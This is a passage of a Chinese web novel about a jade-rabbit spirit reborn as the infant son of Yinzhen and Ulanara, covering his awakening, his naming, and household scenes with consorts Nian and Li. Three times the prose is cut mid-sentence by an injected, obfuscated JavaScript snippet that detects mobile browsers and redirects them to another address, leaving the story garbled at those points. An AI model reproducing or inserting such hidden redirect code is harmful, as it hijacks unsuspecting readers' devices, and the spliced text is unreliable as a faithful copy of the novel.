等胤禛回来,与他仔细商议后,再另想法子吧。 这天下奇人怪才不少,说不定就有能医治这孩子的人呢。 银烛做了一个“请”的手势,柳从南却站着没动,似是想到了什么,转而拱手道:“福晋拳拳爱子之心,令人动容,奴才亦不忍看着小阿哥这般昏睡下去,如今奴才有一法子,但并没有把握能让小阿哥醒过来,试与不试,还请福晋定夺。” 眼下,乌拉那拉氏并没有更好的法子,而柳从南的为人,她还是信得过的。 不试,那就一点儿成功的机会都没有。 死/马当活马医吧。 乌拉那拉氏看着襁褓里的孩子,出声道:“柳大夫,小阿哥就交给你了。” 柳从南明白,福晋这便是答应一试了。 柳从南再次拱手,扬声道:“福晋,那就先请福晋宽恕奴才胆大妄为之罪。” 乌拉那拉氏不知道柳从南的法子具体是什么,但是她既然答应了柳从南试上一试,便该相信他不会做出伤害小阿哥的事情。 乌拉那拉氏郑重其事的点了点头。 柳从南见乌拉那拉氏答应了,心里便没有了负担。 随后,乌拉那拉氏便瞧着柳从南一脸严肃的将襁褓拆开了,而后将手伸进去,朝着孩子的屁股掐了一下。 ??? 这就是所谓的法子。 乌拉那拉氏试图安慰自己,这应该是柳从南正式开始之前的热身方式。 却不想,柳从南的手刚松开,小阿哥眼睛一睁,哇的一声,大哭起来。 柳从南见状,松了口气。 眼见着小阿哥的眼泪,从眼眶里流出来,乌拉那拉氏才相信眼前的景象是真实的,旋即用小被子裹好小阿哥,又将小阿哥抱到了怀里,眼底蒙上了一层水雾,欢喜道:“乖宝醒了,你可吓/死额娘了。” 乌拉那拉氏说完,俯身亲了亲小阿哥的额头,随后又将自己的脸颊贴在小阿哥娇嫩的脸蛋儿上,嘴里念叨着:“乖宝,好乖宝。” 小玉兔在乌拉那拉氏的温柔软语里,停止了哭泣。 事实上,小玉兔是在乌拉那拉氏让柳从南给自己检查身体时,才醒过来的。 但是,他并没有睁眼。 因为从昨晚的零碎记忆来看,这里并不是所谓的天界,眼前众人也不是天界的神。 自己,更没有飞升成神,而是变成了一个小婴儿的形态。 为了搞清楚自己身在何方,眼前众人又是谁,而自己变成的小婴儿又是哪个,小玉兔决定继续装作沉睡的样子。 同时,小玉兔也想看看,那个被称之为柳大夫的人,医术如何。 柳大夫后来与乌拉那拉氏说的话,小玉兔全部都听见了,他不得不承认,这个柳大夫确实厉害。 他从昨晚开始,便觉得身体疲劳,眼皮子沉重无法抬起,进而陷入了昏睡中。 想来应该是自己被天雷击中的原因。 柳大夫说的不错,他确实需要通过睡眠来养足精神,补充身体所需要的能量。 而小玉兔通过乌拉那拉氏和柳从南的对话,得出了结论,他被天雷击中,穿越到了几百年前的清朝,而且成为了一个刚刚被生出来的小娃娃。 没错,他从玉兔精变成了人。 准确的说,他现在是一个人类幼崽。 而那个一直抱着他,自称“额娘”的女子,便是生他的母亲。 昨夜,这女子叫的那么凄惨,也是为了将他从肚子里生出来。 可以说,他穿越到清朝的第一个地方,便是这个女子的肚子里。 玉兔精一族寿命很长,所以他虽然在玉兔精一族里算是年纪很小的,但也活了几百年了。 玉兔精一族的繁衍,主要有两种方式。 一种便是雌、雄玉兔精交/配之后,雌玉兔精生下的后代。 这一种便是资质普通的玉兔精。 而另一种,便是聚天地之灵气,吸日月之精华而化身成的玉兔精。 这一种便是资质极佳的玉兔精。 小玉兔正是后者。 而且,这种玉兔精因为资质极佳,历劫飞升成神的可能性,也比资质普通的玉兔精要高些。 只是,小玉兔从来没有听说过,他们玉兔精一族,有因为被天雷击中而穿越变成人的。 小玉兔也算是古往今来第一人了。 小玉兔虽然从前一直生活在森林里,但他也会偷偷的溜去人间游玩。 毕竟活了几百年,对于人间的世事变迁,还是了解甚多的。 不过,据他目前掌握的信息来看,他应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143126|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出生在一个清朝王爷的家庭里,具体是哪个王爷,他还不清楚。 反正以后的日子,应该是很好过的。 小玉兔搞清楚了自己的身份之后,便听见额娘请那个柳大夫出去,他便想着等柳大夫走后,睁开眼睛就好了。 不诚想,那个柳大夫竟然跟他的额娘说,有办法能让自己醒过来。 他觉得柳大夫在吹牛,索性打消了自己醒过来的念头,想看柳大夫用什么办法让自己醒过来。 不过他万万没有想到,柳大夫让他醒过来的办法竟然是——掐屁股!!! 而且这个柳大夫掐的地方,还是昨晚接生姥姥掐的那个地方!!! 因为他现在完完全全变成了一个小婴儿,所以柳大夫那一掐,对于他来说,是无法承受的痛,所以装不下去了,直接大哭起来。 小玉兔是聚天地灵气幻化成的小玉兔精,所以它不懂得父母的概念,也不需要父母。 在森林里,他有时看到其他小玉兔,像一只小尾巴一样,跟在自己父母身后时,他没有羡慕,只是不理解。 明明一个人就可以快速完成的事情,为什么非要三个人一起做呢。 可是,在他昏睡不醒和被掐屁股大哭起来以后,自称额娘的女子,是那么的担心,又是那么的温柔,把他当成宝贝一样抱在怀里轻声哄着。 小玉兔似乎有点儿明白了,这个应该称呼额娘的女子,很在意他,很心疼他。 所以,小玉兔沉浸在了乌拉那拉氏的温柔怀抱里,连哭泣也忘了。 乌拉那拉氏见怀里的小阿哥停止了哭泣后,余光才注意到柳从南还站在这里。 随即,乌拉那拉氏抬眼说道:“流萤,取二十两银子给柳大夫。” 柳从南闻言,拱手婉拒道:“医治小阿哥本就是奴才的本分,况且小阿哥只是睡得沉了些,并没有生病,奴才不敢居功。” 乌拉那拉氏笑了,“话虽如此,可你想了法子,尽心分忧,这便是功劳,莫要再推辞了。” 柳从南见乌拉那拉氏坚持要给,便拱手谢过,随即,便要伸出手去接流萤手里的二十两银票。 小玉兔这可就急了,虽然这个柳大夫医术高明,但额娘怎么能因为掐他屁股肉肉,就给他二十两呢。 他的屁股还疼着呢。 他不答应。 受伤的小屁股肉肉也不答应。 但他现在说不了话,只能尽自己最大的力气,来发出类似“哼哼”的声音,以表示自己的抗议。 果然,小玉兔的动静,引起了乌拉那拉氏的注意。 “怎么了,乖宝?” 乌拉那拉氏当然不会懂他的意思,而那个柳大夫已经将二十两银票揣进怀里了。 不行!!! 小玉兔继续发出哼哼的意思,只可惜他的小胳膊、小腿太过绵软,而且又被小被子包裹着,根本做不了动作。 乌拉那拉氏猜测的问道:“乖宝,是不是饿了呀?” 睡了那么久,一口奶都没有吃过,应该是饿了吧。 小玉兔放弃了挣扎,自己的额娘是不会明白的。 不过,他还真是有点饿了,随即乖巧的哼了一声。 乌拉那拉氏笑了,随即对着银烛喊道:“快把乳娘叫来。” 银烛应声离去。 而柳大夫也拎着药箱出去了。 小玉兔却似懂非懂的看着乌拉那拉氏。 乳娘? 5. 第 5 章 小玉兔想起来了,人类幼崽是要喝奶的。 从前在人间游玩的时候,他见过这个时代的人。 若是官宦富贵之家,便会请乳娘来哺育自己的孩子。 可若是寻常百姓家,自然不舍得也雇不起乳娘,便都是生产后的妇人,自己哺育孩子。 他是玉兔精的时候,根本没有喝过奶,因为他根本不需要通过喝奶来补充营养成分。 可若是说他最喜欢吃的东西,那便是胡萝卜了。 可惜他现在太小,既不会说话,又没有牙齿,想吃胡萝卜只能等以后他再长大些了。 据他所知,后世人人平等的时代,都是产后的女子母乳喂养孩子,或者是给小婴儿喝一种名叫奶粉的东西。 不过,他既然穿越到了清朝,那就入乡随俗吧。 乌拉那拉氏可不知道这么一会儿功夫,小玉兔脑子里就想了这么多,只以为他是太饿了,便轻轻拍打着他身上裹着的小被子,跟他说乳娘马上就来了。 随后,小玉兔听见了一阵急促的脚步声。 紧接着他便被一个身材丰腴的女人抱在怀里,转而那女人坐在了小榻上,腾出一只手利落的解开了衣服上的盘扣。 可当那鼓鼓囊囊的胸/脯完全/裸/露在小玉兔面前时,他却是本能的抗拒。 乳娘轻哄着怀里的小阿哥,甚至将自己的胸/脯往前送,可就是不见小阿哥有动静。 乳娘没了法子,只得先将衣服上的盘扣系好,转而抱着小阿哥起身,走到乌拉那拉氏面前,一脸无奈的说道:“福晋,小阿哥他,他不张嘴喝奶。” 乌拉那拉氏闻言,从乳娘怀里接过小阿哥。 这孩子从出生开始,就没喝过一滴奶水,怎么可能不饿,或许是不喜欢吧。 乌拉那拉氏便让乳娘先退下,转而叫银烛把先前物色的四五个乳娘都叫过来。 总有一个乳娘,是小阿哥会喜欢的吧。 不一会儿的功夫,四五个乳娘齐齐的围聚在小榻旁,可是无论是谁,小玉兔都是本能的抗拒,他接受不了。 乌拉那拉氏见状,只得命银烛将小阿哥抱到自己怀里来。 等到那四五个乳娘都走远了,乌拉那拉氏腾出一只手,要去解衣裳上的盘扣。 银烛瞧着乌拉那拉氏的动作,明白了乌拉那拉氏要做什么,出声劝道:“福晋,这不合规矩呀。” 乌拉那拉氏解盘扣的动作没有停,张口问道:“那你可有更好的法子?” 银烛噤了声。 回到自己额娘香香软软的怀抱里,小玉兔舒服多了,他喜欢额娘身上的味道。 虽然这味道他形容不出来,但是这种味道绝对是独一无二的。 而乌拉那拉氏将衣裳完全解开以后,便轻轻拍打着襁褓,把小阿哥往自己怀里送。 小玉兔闻着这味道,不由自主的张嘴含了上去。 一旁立的银烛瞧见这一幕,眉眼弯弯的欢喜道:“福晋,小阿哥吃了,没想到小阿哥这般小,便认人了。” 小阿哥不愿意吃乳娘的奶水,乌拉那拉氏也只是想自己试一试,不承想,小阿哥真的吃了。 看着怀里的小阿哥用力的吮吸着,想来是饿坏了,乌拉那拉氏的眼底既高兴又心疼。 —— 这厢,胤禛下值后,因有事要与十三阿哥胤祥商议,二人便直接去了一家酒楼的雅间里吃饭。 待午膳吃完,事情也商议出来了结果,胤禛与胤祥一前一后出了酒楼,便各自回府去了。 胤禛原是要直接去正院,看看福晋与小阿哥,可却听高无奇说年氏的病又加重了。 要去福晋的正院,一定会经过年氏的潇湘阁,是以,胤禛还是先抬步往潇湘阁去了。 潇湘阁院子里负责洒扫的小太监,见胤禛来了,打千儿过后,正欲通报一声,便见胤禛竖起了手,示意他噤声。 小太监颔首过后,又做自己的差事去了。 胤禛则抬步往屋子里去,只见桃夭端着漆木托盘进了内室,而外间的梨云刚要出声,便被胤禛扫过去的眼神制止。 桃夭走到拔步床前,出声唤道:“侧福晋,该喝药了。” 拔步床上的浅蓝色帐幔被帐钩勾起,年侧福晋倚靠在床头,手里正看着一本蓝灰皮的诗集。 在桃夭开口之前,年侧福晋便已经闻到了一股浓郁的苦药味儿。 药吃得太多,嘴里、肚子里、心里,都成了苦的了。 年侧福晋将书翻过一页:“先放那吧。” 桃夭只好将漆木托盘,放在了床头的檀木矮脚小几上。 这时,站立在隔扇门处的胤禛,抬步走了进去,边走边道:“不好好吃药,身子如何能好?” 桃夭忙向胤禛福身请安。 拔步床上的年侧福晋,则将手中的诗集撂下,正欲掀开被子下床来给胤禛请安,就见胤禛大步走过来,坐在床沿,随即,伸出手将她按回去,声音温和道:“好好坐着,不必多礼。” 年侧福晋想到了什么,转而将脸扭过去,出声道:“妾身蓬头垢面,爷去外面稍坐,容妾身梳洗打扮。” 胤禛闻言,伸出手将年侧福晋的上身扳回来,嘴角微微扬起:“清水出芙蓉,天然去雕饰。”(1) 年侧福晋闻言,羽睫扑闪了一下,低垂着眉眼,又道:“妾身缠绵病榻,面容憔悴,丑得很。” 胤禛黑曜石般的眸子含着温情,只道:“可爷的面前,分明是一位病美人儿。” 年侧福晋听了这话,眼睛一抬,正好闯进胤禛那满是温和的视线中。 随即,年侧福晋视线下移,避开了与胤禛的对视,可嘴角却微微扬起。 胤禛见年侧福晋心情好了,说话的口吻带着几分语重心长,“身子有恙,该好好吃药。” 年侧福晋闻言,望了一眼那矮脚小几上的苦药汤,樱唇轻启,缓缓吐出一个字:“烫。” 年侧福晋的话音落下,胤禛便抬手去触碰那盛着汤药的瓷碗,确实有些烫。 随即,胤禛将手收回来。 胤禛看着年侧福晋白皙的脸颊,问道:“一直吃着柳从南的药,怎么突然病又严重了?” 柳从南的医术在一定程度上,高过宫中的太医。 年侧福晋闻言,挤出笑容说道:“都是老毛病了。” 一旁的桃夭见状,出声道:“禀主子爷,今日早上侧福晋与府里其他主子,去正院给福晋道喜,那李侧福晋明知道侧福晋身子不好,还故意与侧福晋攀谈,一来二去说了不少话,凉气进了肚子里,回来侧福晋便觉得身子不爽利,柳大夫说是寒气入体,这才加重了病情。” 年侧福晋眼睛抬起,望向桃夭,假意训斥道:“多嘴。” 桃夭抿着嘴角,将眉眼低下去。 胤禛听罢,眉头微微蹙起,隐隐有了不悦,可看向年侧福晋的眼眸依旧温和:“李氏嘴碎,你不必搭理她。” “李姐姐与我虽同为侧福晋,但李姐姐比我入府早,又为爷生育了一双儿女,劳苦功高,我若不搭理,岂不是成了恃宠生娇。” 年侧福晋说完,撇了撇嘴角,一双眸子的视线下移,看向那锦被上绣着的如意云纹。 胤禛这才听明白。 眼前的主仆二人一唱一和的,是给他演了一出戏。 年氏假借丫鬟的口,是拐弯抹角的向他告起状来。 恃宠生娇? 好一个恃宠生娇。 胤禛嘴角勾起,抬起手捏着年氏的下巴,迫着她抬头。 随即,胤禛俯身凑上去,蜻蜓点水般的吻了一下年氏的唇角。 那唇角温热柔软,胤禛短暂的停留了一瞬,便离开了。 年侧福晋没有防备,胤禛贴上来时,整个人便愣住了,大脑一片空白。 待胤禛松开了她的唇,年侧福晋才后知后觉的害起羞来,小扇子似的浓密羽睫扑闪了两下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143127|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那白皙的小脸上,更是浮现出一抹红晕来。 胤禛的唇有些凉。 年侧福晋回味时,胤禛低沉又带着几分磁性的声音,缓缓传出来:“整个雍亲王府,谁敢说你恃宠生娇?” 而丫鬟桃夭,早在瞧见胤禛吻上年氏时,便识趣的退了出去。 年侧福晋闻此言,抿着唇笑起来。 这说话的功夫,那碗汤药也放凉了。 胤禛端起汤药,拿起调羹舀起一勺,吹了吹,而后喂到年侧福晋的嘴边。 年侧福晋满脸的不情愿,撅嘴道:“这药,太苦了些。” 往日年氏服药,蜜饯果子一类的零嘴儿,是必不可少的。 而今日床头矮脚小几上的漆木托盘里,除了一碗黑乎乎的汤药,还放着两小碟零嘴儿。 一碟是桂花糖,余下的一碟是果脯。 由此可见,年氏方才的话,是在向他使小性子。 胤禛手臂一弯曲,那递到年侧福晋嘴边的调羹,便收了回来。 而后,胤禛在年侧福晋的注视下,将那调羹里的药汤,送进了自己嘴里。 苦! 甚苦! 年侧福晋见胤禛的脸皱成了一个苦瓜样儿,“噗呲”一声,笑了出来。 胤禛见状,便又舀了一勺汤药,喂到年侧福晋嘴边。 年侧福晋张了嘴,那汤药刚入口,苦味便在口腔里弥漫开来。 随即,年侧福晋的俊眉微颦。 真的好苦! 眼见着胤禛又舀起了一勺汤药要喂给她,年侧福晋直接将瓷碗从胤禛手上端过来,深吸一口气,随即一饮而尽。 若是由着胤禛一勺一勺的喂她喝这苦药汤,那也太遭罪了。 药碗见了底,胤禛伸手便从矮脚小几上放着的漆木托盘里的小碟子内,拿了一颗桂花糖,送进了年侧福晋的嘴里。 接着,胤禛又将空碗从年侧福晋手里移出来,放回到了那漆木托盘里上。 桂花糖的清香味从舌尖上蔓延开来,压下了嗓子里的那股苦兮兮的味道。 胤禛拿起柔软的帕子,给年侧福晋擦拭着那残留了药渍的嘴角。 年侧福晋则身子一歪,整个人靠进了胤禛的怀里。 胤禛见状,嘴角一扬,两只胳膊环抱住了年侧福晋。 待胤禛的两只手抚上年侧福晋的后背时,胤禛才清晰的感知到,怀里的年氏又消瘦了不少,后背薄薄一片,那手掌触及到的地方,都是凸起的骨头。 胤禛的眸子里,划过一抹怜惜之色。 片刻后,胤禛开口唤道:“阿瑶。” 年侧福晋的脑袋,就靠在胤禛的胸膛上,是以胤禛一张口,年侧福晋就清晰的听到了胤禛胸膛处发出明显的震动。 “阿瑶”这两个字,年侧福晋已经有些日子没有从胤禛的口中听到了。 年侧福晋敛目,疑问道:“嗯?” “好好养身子,莫要胡思乱想。” 胤禛说完,两只手开始轻轻抚摩挲着年侧福晋的后背。 年氏是年遐龄的老来女,身子本就娇弱些。 去岁,年氏有了身孕,但因为怀象不好,胎气不稳,那腹中的孩子只三个月,便见红小产了。 而年氏因小产,身体受损,又悲伤过度,大病了一场,身子更加虚弱。 此后,年氏一直将养到现在,身子骨也没有痊愈。 私下里,他曾问过柳从南年氏的病情。 柳从南只道,年氏是心病。 而胤禛方才知晓,在年氏的心中,从未真正放下过,那流掉的孩子。 年侧福晋听了头顶上方传出来的话,“嗯”了一声。 她明白胤禛的意思。 柳从南开的药有安神的作用,年侧福晋服下不久,便有了困意。 胤禛扶着年氏躺下,又给年氏盖好了被子,瞧着年氏阖上眼眸睡去,胤禛方才起身,迈步离开了潇湘阁。 6. 第 6 章 出了潇湘阁,不过走出了两步远,胤禛便停了脚下的步子,对着身旁的苏培盛吩咐道:“等弘时下课,带他去李氏那里,我昨晚考问的那篇文章,他们母子都需背的滚瓜烂熟,不然,晚膳就免了。” 苏培盛弓着腰,应了一声:“嗻。” 胤禛遂抬起步,踩着青石砖,继续往正院的方向走去。 而此时的正院内,小玉兔因为那一觉睡得饱饱的,现在一点儿也不困,只是他太小了,也玩不了什么,只能乖乖的躺在自家额娘身边。 乌拉那拉氏虽然亲自喂养了小阿哥,但她如今正坐着月子,也不能全心全意的照顾小阿哥,便从先前的四五个乳娘中,留下了一个机灵些的乳娘王氏来照料小阿哥。 乌拉那拉氏瞧着身旁的小阿哥没有困意,但神情恹恹,想着这孩子应当是觉得无聊了,便叫王乳娘抱着他在屋子里走一走。 果不其然,王乳娘抱着小阿哥在屋子里才走了一小圈,乌拉那拉氏便听见了“咯咯”的笑声。 小玉兔心里想道:他这个额娘真是心思细腻。 他终于可以活动活动了。 虽然是被别人抱着,但是也好过一直躺在床榻上。 而倚靠在拔步床头的乌拉那拉氏,听见了这清脆的笑声,眼神追随着王乳娘,嘴角也露出了笑。 下一瞬,院子里便响起了请安的声音。 胤禛抬步进了屋子,便瞧见王乳娘抱着小阿哥在踱步。 王乳娘因为手里还抱着小阿哥,朝着胤禛微微屈膝,便算做行礼了。 胤禛走上前去,望了一眼襁褓里的小阿哥,只见那张小嘴扬起一个小小的弧度,看着很高兴的样子。 而胤禛平淡的眸子里,有些许松动,添了几分柔和之色。 随即,胤禛转了步子,径直走向拔步床,一只手撩起衣角,便坐在了床沿上:“福晋,身子可有不爽利?” 乌拉那拉氏摇了摇头。 而王乳娘想着胤禛与乌拉那拉氏定然有体己话要说,便抬起步子,要抱着小阿哥出去。 却不想她刚走出两步远,还没到门槛那,怀里的小阿哥就哼哼唧唧起来。 这小阿哥吃饱了,也睡足了,正有精神,她也没有闻到襁褓里传来异味,只当是小阿哥急着想到外头去,两只手轻轻拍着襁褓,脚下的步子又迈大了些。 谁知她这一动,怀里小阿哥哼唧的声音更大了。 拔步床上的乌拉那拉氏虽然正跟胤禛说着话,但她的余光一直注意着小阿哥的动静。 一开始,她听见了小阿哥发出的哼唧声,但是有些微弱,听得不是太清楚。 刚刚小阿哥提高了嗓门,她便听得很清楚了,于是朝着王乳娘的方向,出声说道:“把小阿哥抱过来吧。” 王乳娘不敢耽搁,嘴上应了一声,便快步走过来将怀里的小阿哥,移交到乌拉那拉氏怀里。 却不想,小阿哥刚刚到了乌拉那拉氏的怀抱里,哼唧声便停了。 王乳娘见状,笑呵呵道:“原是小阿哥想福晋了。” 小玉兔知道旁边坐着的男子被底下的奴才们称为“主子爷”,那便是这个王府的男主人,也就是他的父亲了。 可他都出生一天了,与这个父亲才见过两次面,第一次见面还是在昨晚他刚出生的时候。 凭什么他一来,他就要离开香香软软的额娘! 他就不! 索性就哼唧起来,额娘听见了,一定会将他留下来的。 事实证明,他果然猜对了。 额娘是很心疼他的。 乌拉那拉氏听了王乳娘的话,看向小阿哥的眼底更加温柔:“你先下去吧。” 王乳娘微微颔首,随后退了出去。 乌拉那拉氏轻轻拍打着小阿哥的襁褓,抬眼看向胤禛,开口道:“我有一件事,要与爷说。” 胤禛闻言,只道:“福晋但说无妨。” 乌拉那拉氏看了一眼怀里的小阿哥,眸子里闪烁着充满慈爱的光芒:“我给这孩子取了个乳名,叫福宝。” 福宝,小玉兔在心里默念了一遍这个名字。 真好听! 胤禛闻言,微微一愣。 福晋这话里的意思,是已经决定了小阿哥的乳名叫福宝,并不是征求他的意见,而是知会他一声。 胤禛的眸子暗了一瞬,隐隐有些不悦,但转念一想,福晋十月怀胎,生下这个孩子受了不少罪,只不过是一个乳名而已,应了福晋也没有什么。 胤禛说服了自己,将自己早已经想好的乳名“长生”烂在了肚子里,转而开口道:“福宝,是个好名字。” 乌拉那拉氏听了这话,随即看着怀里的小阿哥,笑得温柔:“福宝,以后你就叫福宝了。” 这个孩子是上天赐给她的宝贝。 她的孩子,一定是有福气的。 片刻后,乌拉那拉氏惊喜的对着胤禛说道:“爷,你瞧,这孩子笑了。” 随后,乌拉那拉氏又对着怀里的小阿哥开了口,声音轻轻地、语速慢慢地说道:“你喜欢福宝这个名字,对不对?” 小玉兔努力的扬起嘴角,来表示自己很喜欢这个名字。 胤禛听了自家福晋的话,眼睛便望向了襁褓中的小阿哥。 见那小阿哥虽小小的一只,但却可可爱爱的扬起弧度的小嘴,不由得心中一软,一双黑曜石般的眸子更加柔和了。 胤禛眼睛一转,又看向了乌拉那拉氏:“福晋,我给这孩子想了个名字,叫弘晏。晏,取光明温暖之意也。” 这孩子按照序齿,该为六阿哥。 胤禛本来是想了两个名字,分别是乳名“长生”与大名“弘晏。” 既然乳名用不上了,胤禛索性也不提了,直接将大名说了出来。 “弘晏。”乌拉那拉氏自己复述了一遍,随即低下头对着怀里的小阿哥说道:“福宝,听到阿玛给你取的名字了吗?以后你的大名便唤做弘晏了。” 胤禛也一脸期待的望着襁褓里的小婴儿。 小玉兔看着他这个只见了两面的便宜阿玛,这么用心的给自己取了一个名字,便大气的露出了一个笑容。 乌拉那拉氏见状,兴奋道:“爷,你瞧,福宝喜欢这名字呢。” 胤禛十分淡定的应了一声,心里却异常高兴,不由自主的伸出右手,探进了襁褓中,用弯曲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143128|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食指背面蹭了蹭小玉兔娇嫩的脸颊。 这个便宜阿玛的手有些粗糙,不像额娘的手指那么光滑细腻,而且在他脸上蹭了蹭,感觉有些痒,不过看在这是他的便宜阿玛第一次主动与他亲密接触,他就大气一点儿,不计较了。 胤禛可不知道他的行为,让小玉兔有了这么大的意见,他只觉得这家伙的脸蛋儿跟糯米团子一样香香软软的。 而乌拉那拉氏瞧着父子两个亲密互动,忽而想起了另一件事。 随后,乌拉那拉氏便将福宝不喝乳娘的奶水以及自己打算亲自喂养的事情告知了胤禛。 亲自喂养孩子不是小事儿,乌拉那拉氏是必须要让胤禛知晓的。 胤禛闻言,摸小玉兔脸的动作停住了,随即将手收回来,那脸上也看不出喜怒的情绪。 过了半晌儿后,胤禛方才点了点头:“如此,便辛苦福晋了。” 乌拉那拉氏闻言,笑道:“有这孩子,我高兴还来不及。” 乌拉那拉氏话音落下,胤禛也没再说些什么,气氛一下子安静了下来。 少顷,小玉兔哼哼的声音,打破了屋子里的沉寂。 “福宝,饿了是不是。”乌拉那拉氏说着,便伸手要去解衣服上的盘扣。 胤禛见福晋要给孩子喂奶,便起身出了正院。 而躺在额娘怀里舒舒服服吃奶水的小玉兔发现了一个问题,他的额娘和阿玛两个人单独在一起时,有些怪怪的。 他还是玉兔精的时候,来人间游玩,也见过不少人间的夫妻,或者亲亲密密,或者打打闹闹,可是他额娘和阿玛都不属于这两类。 两个人的关系不冷不热的,人间有一个词怎么说来着,对了,叫“相敬如宾。” 可是小玉兔觉得“相敬如宾”这个词,放在额娘与阿玛身上,还是不太准确。 算了,他现在刚出生一天,小小的脑袋,不足以支撑他思考这么复杂的问题。 不过令人高兴的是,他今天一下子拥有了两个好听的名字! —— 夕阳缓缓隐入西山,消失不见,带着橘黄色光边的云霞,颜色渐渐变灰变暗,夜幕悄然降临了。 胤禛在前院书房用完晚膳后,想起了白日里自己说过的话,便站起身来走了出去,苏培盛忙提着一盏灯笼,跟了出去。 —— 碧波苑内。 李侧福晋听到胤禛往这边来的消息,无精打采的她立马喜上眉梢,小碎步走去内室,拿起红艳艳的口脂涂在唇上,又对着菱花镜左看右看,确定自己的妆容没问题之后,踩着花盆底,手里甩着帕子,欢欢喜喜的迎了出去。 胤禛刚到碧波苑内,就见李侧福晋三步并作两步的走过来,朝着他福身道:“爷,给爷请安。” 胤禛自动忽略了李侧福晋看向他时的星星眼,抬步径直进了屋子。 胤禛刚掀起衣袍坐在小榻上,李侧福晋就殷勤的捧着一盏茶放到他面前。 而站在角落里的弘时,见阿玛那犀利的眸子扫过来,硬着头皮走上去:“给阿玛请安。” 胤禛看向弘时那怯懦的样子,眉头微颦,说话的声音不免有些冷:“文章可背会了?” 7. 第 7 章 胤禛的话音落地,不待弘时答话,李侧福晋便抢先一步开口:“爷,弘时一刻钟前刚给妾身背过,十分流利。” 李侧福晋说完,又过脸看向身旁的弘时:“还愣着做甚?快给你阿玛背呀。” 话音落下,李侧福晋转而坐在了小榻的另一侧,胸有成竹的看着弘时。 弘时应了一声“是。” 随即,弘时边回忆着那篇文章的内容,边张口开始背。 弘时背书的过程中,李侧福晋的心情从十拿九稳变得逐渐心虚,悄咪咪的瞄了一眼胤禛逐渐阴沉的脸后,李侧福晋的目光开始闪烁,手里不停的揉着帕子,心里暗叫不好。 待弘时的最后一个字音落下,李侧福晋先发制人,开口为弘时解释:“爷,一刻钟前弘时真的背的很流利,这屋子里的人都能作证的。” 李侧福晋说完,又望向了自己的两个心腹丫鬟春风、夏婵。 春风与夏婵收到李侧福晋的眼神,连连点头。 而自知背书背砸了的弘时,抿着唇,低垂着脑袋,那垂在身侧的小手指,更是不安的揉搓着衣角。 半晌儿,阴沉着脸的胤禛,开了口,语气格外生硬:“给你额娘背文章,便流利,到我这里就磕磕绊绊,左不过一刻钟的时间,你便忘了?” 弘时闻言,抬起小脑袋,却又不知该怎么向胤禛解释:“我,我……” 胤禛见弘时连与他说话都结结巴巴,说不出个所以然来,眉头紧皱,声音里含着怒意不自觉提高了音量:“怎么?我便这般吓人,吓得你连一句完整话都说不出来了?” 弘时知晓自己阿玛生了气,一颗小脑袋摇的跟拨浪鼓一样。 一旁的李侧福晋心疼弘时,便又打起了圆场:“爷,您是弘时的亲阿玛,他是尊敬您,爱戴您,怎么会怕您呢?弘时是知晓自己没有达到爷的期望,所以懊恼呢。” 纵使李侧福晋这般说,可胤禛分明在弘时的眼睛里看到了对他的畏惧,又哪里来的懊恼。 李侧福晋说完,又用眼神示意弘时快些认错。 弘时不安的揉搓着衣角,忐忑的开口,声音如蚊蝇般小:“阿玛,我知错了。” 小小的孩子在他这个亲阿玛面前都如此局促不安,长此以往,等到了外头,岂不是成了软弱无能之辈。 胤禛想着李侧福晋虽然嘴碎,但是定然不敢在他面前说假话,许是他刚才太凶了些。 思及此,胤禛脸色缓和了些,招了招手,示意弘时到他面前来。 弘时小步子走过去,头埋的低低地,眼睛更不敢直视着胤禛。 胤禛见状,将说话的声音也放的温和了些:“弘时,这篇文章阿玛已经听你背过两遍了,阿玛相信你是会背的,只是需要费些心思,多背上几遍,做到烂熟于心,知道吗?” 弘时点头如捣蒜。 胤禛又扭脸看向李侧福晋,问道:“你呢?可会背了?” 将一颗心放到肚子里的李侧福晋,心脏再次提起来,搅着手里的帕子,目光躲闪:“爷,我,这么短的时间,我哪里背的会,我一介女流,又不考科举做官。” 胤禛望向李侧福晋,一脸严肃:“读书不仅为科举做官,还为明辨是非,修身养性,益处颇多,又岂能拘泥于男女之分,你这张嘴都用来说长道短,自然是没工夫了。” 李侧福晋听了胤禛这一番教育之言,臊得她脸上一阵红一阵白,捏着帕子屈膝道:“妾身见识短浅,日后定当多读书,那文章妾身就算今晚不睡,也一定背会。” 她知晓潇湘阁请了府医过去,也知道胤禛今日去了年侧福晋的潇湘阁。 年侧福晋定然在胤禛面前告了她的状,是以胤禛此番作为,都是为了替年侧福晋出气。 